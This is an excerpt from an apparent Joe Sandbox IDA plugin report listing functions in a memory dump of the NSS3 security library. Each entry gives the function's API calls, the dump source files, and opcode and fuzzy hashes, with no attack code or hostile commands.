SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CEDDBBD), ref: 6CEDDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEDDFEE

Part of subcall function 6CE786D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE78716
Part of subcall function 6CE786D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE78727
Part of subcall function 6CE786D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE7873B
Part of subcall function 6CE786D0: PR_Unlock.NSS3(?), ref: 6CE7876F
Part of subcall function 6CE786D0: PR_SetError.NSS3(00000000,00000000), ref: 6CE78787

Part of subcall function 6CE9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE9F854
Part of subcall function 6CE9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE9F868
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE9F882
Part of subcall function 6CE9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE9F889
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE9F8A4
Part of subcall function 6CE9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE9F8AB
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE9F8C9
Part of subcall function 6CE9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE9F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CEDDBBD), ref: 6CEDDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CEDDBBD), ref: 6CEDE007

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: b173ef7d6b57d4ea238a4c808ce771137554b9af035ce80e7416b1ecf4927ceb
Instruction ID: ef5e2e8bdf64b1c95ac470c91a51398d2d1b9cf9b02de4dc105c9637ed1e94cd
Opcode Fuzzy Hash: b173ef7d6b57d4ea238a4c808ce771137554b9af035ce80e7416b1ecf4927ceb
Instruction Fuzzy Hash: F13139B5A0020157D7109A79EC85B9BB2B89F5530CF260139E909C7B02FB25EA19C7F3

Function 6CE56C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE56C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE56CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE56CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CF78FE0), ref: 6CE56CFE

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: ec5c5a0564f7328004b5fed1c853520787e81d82db3398382eb581e8ac732a2c
Instruction ID: 92207325d656272d98d4813b09179bac15d77ade4ad8be0e9014866e8d1242ce
Opcode Fuzzy Hash: ec5c5a0564f7328004b5fed1c853520787e81d82db3398382eb581e8ac732a2c
Instruction Fuzzy Hash: C33192B1A002169FDB04DF65C891ABFBBF9EF45248F60443DD905E7710EB329915CBA0

Function 6CF64F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CF64F5D
free.MOZGLUE(?), ref: 6CF64F74
free.MOZGLUE(?), ref: 6CF64F82
GetLastError.KERNEL32 ref: 6CF64F90

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: a71ac2ecfb12a2aafcbe4feb9f91257c9730dad084ae2850b605f183e83cb252
Instruction ID: 170c93f91bd82b222e5380e5f68a50048059283723dd57e44039a4f140f236e2
Opcode Fuzzy Hash: a71ac2ecfb12a2aafcbe4feb9f91257c9730dad084ae2850b605f183e83cb252
Instruction Fuzzy Hash: 21312B75A002099BDB01EBAADC51BDFB7B8EF45358F050229EC15A7B81DB35990486A1

Function 6CEC6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CEC6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC6E57

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CEC6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CEC6EAA

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: beb7d79fdf14f6bdba235fcab3366f5f41ff443fb5dea469fae3fc0d31059199
Instruction ID: dd23ee49d2d1357f48227d08615e70d369a995c4bb70c5855daaf439c7aad4d6
Opcode Fuzzy Hash: beb7d79fdf14f6bdba235fcab3366f5f41ff443fb5dea469fae3fc0d31059199
Instruction Fuzzy Hash: BC317C71714516EEDB145E34DA043A7B7B8AB0531EF30063ED8AAD6B80EB31B654CB83

Function 6CEADDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CEADDB1,?,00000000), ref: 6CEADDF4

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CEADDB1,?,00000000), ref: 6CEADE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CEADDB1,?,00000000), ref: 6CEADE17

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CEADE80

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: f2ecceaad8d616b4040f083c4ec330f0b2838a8e43c866d14022a60539f7c8cc
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: E43172B5D016429FE700CF96D980662B7B4BFA531CB34C22EDC198BB01E770E5A5CB91

Function 6CE9FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CE75ADC,?,00000000,00000001,?,?,00000000,?,6CE6BA55,?,?), ref: 6CE9FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE9FE5F
PR_Unlock.NSS3(78831D74), ref: 6CE9FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CE9FED6

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: d97f76820cd1828eb059e8b74b713ba30c7458e68290672988cbb8adb340e552
Instruction ID: c93191a130f45076204dc74a9274a4e59b412b85666da0a7bef3c97bbfa60a41
Opcode Fuzzy Hash: d97f76820cd1828eb059e8b74b713ba30c7458e68290672988cbb8adb340e552
Instruction Fuzzy Hash: 03212331E00615ABDB50AF65E8447AAB7B4FF053ACF240128ED04A7F42E739E964CBD1

Function 6CEA3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA3440: PK11_GetAllTokens.NSS3 ref: 6CEA3481
Part of subcall function 6CEA3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEA34A3
Part of subcall function 6CEA3440: TlsGetValue.KERNEL32 ref: 6CEA352E
Part of subcall function 6CEA3440: EnterCriticalSection.KERNEL32(?), ref: 6CEA3542
Part of subcall function 6CEA3440: PR_Unlock.NSS3(?), ref: 6CEA355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CE8E80C,00000000,00000000,?,?,?,?,6CE98C5B,-00000001), ref: 6CEA3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CE8E80C,00000000,00000000,?,?,?,?,6CE98C5B,-00000001), ref: 6CEA3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CE8E80C,00000000,00000000,?,?,?,?,6CE98C5B,-00000001), ref: 6CEA3FFE
PR_SetError.NSS3 ref: 6CEA401A

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 963055357bcea8b0680d33bc197f1e86f8b8c66cc244c3d9c1da892747f425d9
Instruction ID: 7a7ce626f1142650ab3caadada9a402204279c6c1477e96b4dc3334018f3fb86
Opcode Fuzzy Hash: 963055357bcea8b0680d33bc197f1e86f8b8c66cc244c3d9c1da892747f425d9
Instruction Fuzzy Hash: 3A317274904704CFD750AF69D08426EBBF0FF88358F21592ED9858B700EB30E885CB92

Function 6CE94FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CE9B60F,00000000), ref: 6CE95003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CE9B60F,00000000), ref: 6CE9501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CE9B60F,00000000), ref: 6CE9504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CE9B60F,00000000), ref: 6CE95064

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 2a163b29496dc87da06d7a023f57c58ccd34ebf24fb974dd776755725f856407
Instruction ID: 03be515711536ffe10c77492b1255cd0724e302315f79884625d8aa4f27c87f1
Opcode Fuzzy Hash: 2a163b29496dc87da06d7a023f57c58ccd34ebf24fb974dd776755725f856407
Instruction Fuzzy Hash: 3B3127B4A05606CFDB40EF68D48466ABBF4FF08348F218629E859D7701E731E890CB91

Function 6CEB9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEBA71A,FFFFFFFF,?,?), ref: 6CEB9FAB

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CEBA71A,6CEBA71A,00000000), ref: 6CEB9FD9

Part of subcall function 6CEB1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB136A
Part of subcall function 6CEB1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB137E
Part of subcall function 6CEB1340: PL_ArenaGrow.NSS3(?,6CE4F599,?,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?), ref: 6CEB13CF
Part of subcall function 6CEB1340: PR_Unlock.NSS3(?,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEBA71A,6CEBA71A,00000000), ref: 6CEBA009
PR_SetError.NSS3(FFFFE013,00000000,6CEBA71A,6CEBA71A,00000000), ref: 6CEBA045

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 639728051f32dd69fa9223c0d371a87bd5b36ad2fbe88fab39f50ff74e65d709
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: F121B0B4600206ABFB009F55DD40F76B7B9FB8536CF20812C982997B91EB75E818CB90

Function 6CEC2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEC2E08

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CEC2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CEC2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEC2E95

Part of subcall function 6CEB1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE588A4,00000000,00000000), ref: 6CEB1228
Part of subcall function 6CEB1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CEB1238
Part of subcall function 6CEB1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CE588A4,00000000,00000000), ref: 6CEB124B
Part of subcall function 6CEB1200: PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0,00000000,00000000,00000000,?,6CE588A4,00000000,00000000), ref: 6CEB125D
Part of subcall function 6CEB1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CEB126F
Part of subcall function 6CEB1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CEB1280
Part of subcall function 6CEB1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CEB128E
Part of subcall function 6CEB1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CEB129A
Part of subcall function 6CEB1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CEB12A1

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 9114a84c911a13e526a5656763b32b3ad22df9fa61595ab33486b847580e053c
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 8E21D7B1E003454BE701CF549E447AA37746FA135CF311269DD187B742F7B2E5948293

Function 6CE7ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE7ACC2

Part of subcall function 6CE52F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE52F0A
Part of subcall function 6CE52F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE52F1D

Part of subcall function 6CE52AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CE50A1B,00000000), ref: 6CE52AF0
Part of subcall function 6CE52AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE52B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CE7AD5E

Part of subcall function 6CE957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE5B41E,00000000,00000000,?,00000000,?,6CE5B41E,00000000,00000000,00000001,?), ref: 6CE957E0
Part of subcall function 6CE957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CE95843

CERT_DestroyCertList.NSS3(?), ref: 6CE7AD36

Part of subcall function 6CE52F50: CERT_DestroyCertificate.NSS3(?), ref: 6CE52F65
Part of subcall function 6CE52F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE52F83

free.MOZGLUE(?), ref: 6CE7AD4F

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: ce912e130f5cd9b159324b50f7ab6499c51b870011e103f8319c23b1546ecfcf
Instruction ID: 650c75e0592796335d5b737cd200cf30c3d33f7f6786e224a9bb017bbf63f1f7
Opcode Fuzzy Hash: ce912e130f5cd9b159324b50f7ab6499c51b870011e103f8319c23b1546ecfcf
Instruction Fuzzy Hash: 0821C6B1D002048BEB20DFA4E9065EEB7B4AF1524CF655068D8057B700F732EA55CBB2

Function 6CEA3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEA3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CEA3CAE
PR_Unlock.NSS3(?), ref: 6CEA3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CEA3D02

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 5dfb39fe639ce234809a4f52bc5dd58714a33f2bb4a1759907d394f0edea9181
Instruction ID: c94b3a2068d1b877dd6015c154c89a89a50675b50f900fedd76e672bb7b7c722
Opcode Fuzzy Hash: 5dfb39fe639ce234809a4f52bc5dd58714a33f2bb4a1759907d394f0edea9181
Instruction Fuzzy Hash: C111B479E00204AFDB40AF64EC48A9A3778EF09368F254164ED049B712E731ED45CBE1

Function 6CEAECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CEAF0AD,6CEAF150,?,6CEAF150,?,?,?), ref: 6CEAECBA

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CEAECD1

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
